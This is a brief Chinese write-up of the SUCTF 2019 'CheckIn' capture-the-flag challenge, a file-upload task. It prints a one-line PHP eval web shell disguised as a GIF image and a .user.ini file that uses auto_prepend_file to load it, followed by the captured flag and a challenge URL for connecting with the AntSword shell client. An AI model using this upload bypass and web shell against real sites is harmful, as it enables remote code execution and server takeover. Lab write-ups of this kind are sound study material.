[SUCTF 2019]CheckIn

不怎么看感觉就是一个文件上传，再加上checkin，感觉不难== 结果

.user.ini+图片马+index.php三者缺一不可，

图片马内容：

文件名m.jpg

GIF89a？
<script language="php">@eval($_POST["web"]);</script>

.user.ini内容：

GIF89a
auto_prepend_file=m.jpg

flag{55134a88-950d-4115-af3b-6c4dab2f1ee2}

注：最后蚁剑连接时，要index.php路径

http://206d33b7-0d2b-4d15-85e3-245d4b62557d.node4.buuoj.cn:81/uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php